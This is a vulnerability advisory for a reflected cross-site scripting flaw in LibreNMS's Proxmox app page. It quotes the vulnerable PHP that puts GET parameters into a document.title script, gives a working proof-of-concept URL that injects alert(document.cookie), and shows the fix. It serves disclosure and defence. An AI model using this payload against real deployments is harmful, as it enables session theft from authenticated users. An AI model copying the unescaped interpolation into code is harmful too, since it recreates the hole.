PT-2026-75981 · Packagist · Librenms/Librenms

Published

2026-08-12

·

Updated

2026-08-12

CVSS v3.1

5.4

Medium

VectorAV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

LegacyController.php:75 writes the page title into a document.title JS assignment using string interpolation. apps/proxmox.inc.php pushes $vars['instance'] and $vars['vmid'] (GET params, only strip tags() applied) directly into $pagetitle. A single quote terminates the JS string, executing arbitrary script.

Details

php
// LegacyController.php:75
$html .= "<script>
document.title = '$title';
</script>";

// proxmox.inc.php:38,42
$pagetitle[] = $instance;   // GET ?instance=
$pagetitle[] = $vars['vmid']; // GET ?vmid=

PoC

http://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//

Confirmed in response:
document.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';

Fix

php
// LegacyController.php:75
$html .= "<script>
document.title = " . json encode($title) . ";
</script>";
Also wrap $instance and $vars['vmid'] in htmlspecialchars() in proxmox.inc.php.

Prerequisite

Any authenticated session. Victim must follow a crafted link.

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-JMQM-F8Q4-V7WX

Affected Products

Librenms/Librenms